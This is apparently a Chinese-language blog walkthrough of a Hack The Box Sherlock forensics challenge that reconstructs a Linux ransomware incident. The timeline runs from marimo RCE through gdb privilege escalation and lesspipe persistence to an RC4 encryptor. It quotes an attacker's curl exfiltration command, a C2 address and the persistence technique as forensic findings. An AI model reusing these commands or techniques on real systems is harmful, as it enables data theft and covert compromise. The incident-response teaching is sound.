aAura's desktopaurasec.top
我的文章GitHub
Aura Blog
aurasec.top
AuraHTB Oldie
全部文章

HTB Oldie

Sherlock Scenario

Applications remain one of the most significant risks to enterprise environments. In a recent incident, a ransomware attack was detected on our client's Linux server, triggering an immediate alert. The affected system was quickly isolated, and a triage process was initiated to begin analysis and support rapid business recovery.

Q1

What is the CVE ID related to the remote code execution flaw in an application on the server that led to the initial compromise through this app?

发现有一个 marimo.log 的日志,marimo 是一个笔记本 猜测攻击者可能利用了 marimo 的漏洞进行攻击,进而 RCE,根据版本搜索一下公开的 CVE 发现是这个版本的 RCE 漏洞,也就是 CVE-2026-39987

CVE-2026-39987

Q2

What is the Onion link provided by the ransomware operators for a line of communication?

在 /home 文件夹下发现勒索信

http://6v4q5w7di74grj2vtmikzgx2tnq5eagyg2cubpcnqrvvee2ijpmprzqd.onion/remote0/93868e77-1331-411a-9643-dc9ad26a5095?secret=lasalle 

Q3

To narrow down the attack timeline, what is the last execution time of the vulnerable application on the server?

用户目录下面有一个 marimo.log,但是被加密了,要到后期逆向加密器后才能解密。

从 q12 回来,发现解密了后的 marimo.log 里面没有启动时间,应该还有其他地方能找到。 发现这个目录还有一个日志,继续解密 这里总算拿到时间了,题目要最后的启动时间

2026-04-15 16:16:18

Q4

Which binary file was identified as a privilege escalation vector that allowed the attacker to gain root access?

发现 gdb 具有设置 UID/GID 的能力

/usr/bin/gdb

Q5

When did the attacker achieve vertical privilege escalation?

去 bodyfile.txt 精确搜索 gdb,查看原始访问时间 注意时间要转成 UTC

2026-04-15 16:30:36

Q6

After gaining root access on the system, the attacker established stealth persistence by tampering with a system script. What is the full path of the binary involved in triggering this persistence mechanism?

根据第五问的时间,发现最新有两个被修改过的可执行文件,去分析一下。 在 lesspipe 中,发现在压缩包处理分支中加入了一行 /etc/selinux/semanage.sh "$1",是用来持久化的。 给 semanage 文件赋予执行权限,然后后台运行 不过这一问的答案并不是 /usr/bin/lesspipe,因为真正触发这个脚本的是 less 命令,使用 less 查看匹配的压缩包时,就会触发持久化

/usr/bin/less

Q7

What file was configured to be executed whenever the persistence mechanism would trigger?

结合上一问的分析,这个被触发的脚本就是 /etc/selinux/semanage.sh

/etc/selinux/semanage.sh

Q8

What is the C2 IP address and port used by the attacker to receive connections from the compromised system?

把 semanage 提取出来,直接丢给 VirusTotal。

172.168.40.23:1337

Q9

What is the full command used to exfiltrate data from the system?

irek 用户的 .bash_history 居然没有被加密,可以看到历史命令,发现把数据都打包了 打包后然后传走了,因此外带数据就是这条命令

curl sendit.sh -T gegheiogow.zip

Q10

At what exact time did the exfiltration of internal data to an external location begin?

去看一下 curl 的原始访问时间,和前面的 gdb 方法一样。

2026-04-15 17:05:18

Q11

Following the data exfiltration phase, the attacker initiated the final stage of the attack. What is the full path of the ransomware encryptor?

攻击者从自己的服务器下载了 gameover,然后执行它,这个就是最终的勒索软件加密器 根据执行的命令可以推断出当前目录是 /home/irek/.local/share/sounds,定位勒索加密器的位置

/home/irek/.local/share/sounds/gameover

Q12

The exfiltrated data includes user profile–related sensitive information. What is the points value associated with the fifth user profile?

需要解密一下被加密的文件,信息就在之前被窃取走的 htb_stuff_sensitve 目录中 先逆向一下加密器的逻辑: 大致逻辑就是文件内容被一个随机密钥 RC4 加密,然后这个随机密钥又被全局密钥 szKeyKey RC4 加密,这个被加密的随机密钥写到了后缀是 .C_I_0P 的文件中。 注意加密文件的时候只用到了随机密钥的前 0x75 个字节,后面的需要截断。 尝试去解密一下文件,这里拿第三问卡住的 marimo.log 去解密。 先解密 .C_I_0P 拿到 256 字节的密钥,然后再用这个密钥的前 0x75 字节,即 117 字节去解密文件本身。 解密成功,不过解出来的内容其实对第三问没有任何帮助。 用相同的方式解密有关个人资料的文件 得到以下内容:

6689

全文完

中

搜索文章

输入关键词搜索文章。